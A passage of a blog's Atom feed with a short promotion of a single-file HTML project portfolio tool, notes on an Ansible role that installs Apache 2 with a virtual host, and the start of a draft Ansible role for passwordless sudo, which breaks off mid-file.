&lt;p&gt;Single 50 kB HTML file with no dependencies. Use online or 100% offline. Your data stays yours: JSON export and import. Fully usable with keyboard-only - or mouse-only with keyboard just for typing names. A vibe-coded GUI editor for a directed acyclic graph with project-specific attributes: costs, deliverables, soft benefits. Public beta.&lt;/p&gt;
&lt;p&gt;Gain a bird&#39;s-eye view with ppp. I hope you have more ideas than time to do them. Use ppp to decide which path to pick next. Once you&#39;re committed, use &lt;a href=&quot;https://terokarvinen.com/2021/calendar-txt/&quot;&gt;calendar.txt&lt;/a&gt; and todo.txt for day-to-day and hour-to-hour.&lt;/p&gt;
&lt;h2 id=&quot;try-ppp&quot;&gt;Try ppp &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/#try-ppp&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/ppp/&quot;&gt;Try ppp&lt;/a&gt;. Free web access, no login required. Optionally save the 50 kB HTML file for 100% offline use. Looking forward to your &lt;a href=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/#comments&quot;&gt;comments&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
&lt;a href=&quot;https://terokarvinen.com/ppp/&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w480.ha8796df4.avif 480w, https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w800.ha8796df4.avif 800w, https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w1200.ha8796df4.avif 1200w, https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w1600.ha8796df4.avif 1600w, https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w1965.ha8796df4.avif 1965w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w800.ha8796df4.png&quot; srcset=&quot;https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w800.ha8796df4.png 800w, https://terokarvinen.com/ppp-personal-project-portfolio/ppp-Personal-Portfolio-Manager-A-skill-tree-for-life.w1600.ha8796df4.png 1600w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;381&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

</content>
  </entry>

  <entry>
    <title>Apache installed with Ansible - quick notes</title>
    <link href="https://terokarvinen.com/apache-ansible/"/>
    <id>https://terokarvinen.com/apache-ansible/</id>
    <published>2026-04-09T16:10:00+03:00</published>
    <updated>2026-04-09T16:10:00+03:00</updated>
    <content type="html">&lt;figure class=&quot;right&quot; style=&quot;max-width: 205px&quot;&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/apache-ansible/apache-httpd-logo.w480.h0486b2b3.avif 480w, https://terokarvinen.com/apache-ansible/apache-httpd-logo.w737.h0486b2b3.avif 737w&quot; sizes=&quot;(max-width: 205px) 100vw, 205px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/apache-ansible/apache-httpd-logo.w737.h0486b2b3.png&quot; srcset=&quot;https://terokarvinen.com/apache-ansible/apache-httpd-logo.w737.h0486b2b3.png 737w&quot; sizes=&quot;(max-width: 205px) 100vw, 205px&quot; width=&quot;737&quot; height=&quot;1432&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;p&gt;Install Apache 2 web server automatically. Serves a web site on the front page of http://localhost. Pages can be edited as a normal user - without root or sudo.&lt;/p&gt;
&lt;p&gt;Simplified Ansible role. An example of &lt;em&gt;package-file-server&lt;/em&gt; pattern. Just notes, no tutorial.&lt;/p&gt;
&lt;p&gt;Using these short notes require a working Ansible configuration - &lt;a href=&quot;https://terokarvinen.com/hello-ansible/&quot;&gt;Hello Ansible&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;package-file-service-pattern&quot;&gt;Package-file-service pattern &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#package-file-service-pattern&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Daemons, like Apache2 web server, are somewhat similar. They are configured with package-file-service pattern. Install the daemon, change configuration by editing files, start it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;package - sudo apt-get install apache2&lt;/li&gt;
&lt;li&gt;files - sudoedit /etc/apache2/...&lt;/li&gt;
&lt;li&gt;service - sudo systemctl restart apache2&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Changes to configuration files only take effect after you kick the daemon. Thus, &lt;em&gt;file&lt;/em&gt; in tasks/main.yml &lt;em&gt;notify&lt;/em&gt; the &lt;em&gt;handler&lt;/em&gt; &quot;restart apache2&quot;.&lt;/p&gt;
&lt;h2 id=&quot;tree-of-roles-apache2&quot;&gt;&lt;span id=&quot;tree-of-rolesapache2&quot;&gt;&lt;/span&gt;tree of roles/apache2/ &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#tree-of-roles-apache2&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;roles/apache2/  # All files related to &amp;quot;apache2&amp;quot; role
├── files/      # Master copies of files
│   └── example.com.conf
├── handlers/   # restarting services
│   └── main.yml
└── tasks/      # most ansible code
    └── main.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;tasks-main-yml&quot;&gt;&lt;span id=&quot;tasksmainyml&quot;&gt;&lt;/span&gt;tasks/main.yml &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#tasks-main-yml&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;hl-source hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;apt&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;apache2&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;state&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;present&lt;/span&gt;

&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;copy&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;dest&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;/etc/apache2/sites-available/example.com.conf&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;src&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;example.com.conf&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;owner&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;root&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;group&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;root&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;mode&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;0644&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;notify&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;restart apache2&lt;/span&gt;

&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;file&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;src&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;/etc/apache2/sites-available/example.com.conf&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;dest&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;/etc/apache2/sites-enabled/example.com.conf&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;owner&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;root&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;group&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;root&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;state&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;link&lt;/span&gt;
  &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;notify&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;restart apache2&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;handlers-main-yml&quot;&gt;&lt;span id=&quot;handlersmainyml&quot;&gt;&lt;/span&gt;handlers/main.yml &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#handlers-main-yml&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;hl-source hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;restart apache2&lt;/span&gt;
  &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;systemd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;apache2&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;state&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;restarted&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;files-example-com-conf&quot;&gt;&lt;span id=&quot;filesexamplecomconf&quot;&gt;&lt;/span&gt;files/example.com.conf &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#files-example-com-conf&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Managed file, changes will be overwritten

&amp;lt;VirtualHost *:80&amp;gt;
        ServerName example.com
        DocumentRoot /home/tero/publicsite/

        &amp;lt;Directory /home/tero/publicsite/&amp;gt;
                require all granted
        &amp;lt;/Directory&amp;gt;
&amp;lt;/VirtualHost&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/apache-ansible/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/apache-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Apache httpd logo is a trademark of The Apache Software Foundation.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Passwordless Sudo with Ansible</title>
    <link href="https://terokarvinen.com/passwordless-sudo-with-ansible/"/>
    <id>https://terokarvinen.com/passwordless-sudo-with-ansible/</id>
    <published>2026-04-02T16:44:00+03:00</published>
    <updated>2026-04-02T16:44:00+03:00</updated>
    <content type="html">&lt;p&gt;Sudo without password, automatically. Short example role for ansible.&lt;/p&gt;
&lt;p&gt;The role&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;creates a new user in &quot;sudoless&quot; group&lt;/li&gt;
&lt;li&gt;adds a sudoers.d/ NOPASSWD rule for the group&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#prerequisites&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Applying this example file requires you to have &lt;a href=&quot;https://terokarvinen.com/hello-ansible/&quot;&gt;Ansible working&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Tero&#39;s rule #1 for IaC: &lt;em&gt;Manual before auto.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So it&#39;s a good idea to try creating &lt;a href=&quot;https://terokarvinen.com/passwordless-sudo/&quot;&gt;passwordless sudo manually&lt;/a&gt; first.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Draft: This article has commands written from memory. It has not gone trough quality assuarance and testing yet.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;tree&quot;&gt;Tree &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#tree&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;tree&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;F&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;./&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;├── ansible.cfg&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;├── hosts.ini&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;├── roles/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│   ├── antero/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│   │   └── tasks/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│   │       └── main.yml&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│   └── world/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│       └── tasks/&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;│           └── main.yml&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;└── site.yml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;role-antero&quot;&gt;&lt;span id=&quot;role---antero&quot;&gt;&lt;/span&gt;Role - antero &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#role-antero&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/passwordless-sudo-with-ansible/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;cat roles/antero/tasks/main.yml&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;hl-source hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;group&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;sudoless&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;state&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;present&lt;/span&gt;
&lt;span class=&quot;hl-punctuation hl-definition hl-block hl-sequence hl-item hl-yaml&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;user&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;antero&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;state&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;present&lt;/span&gt;
    &lt;span class=&quot;hl-string hl-unquoted hl-plain hl-out hl-yaml&quot;&gt;&lt;span class=&quot;hl-entity hl-name hl-tag hl-yaml&quot;&gt;groups&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-key-value hl-mapping hl-yaml&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;hl-meta hl-flow-sequence hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-sequence hl-begin hl-yaml&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;sudoless&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-sequence hl-yaml&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;sudo&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-separator hl-sequence hl-yaml&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;hl-string hl-quoted hl-double hl-yaml&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-begin hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;adm&lt;span class=&quot;hl-punctuation hl-definition hl-string hl-end hl-yaml&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-sequence hl-end hl-yaml&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
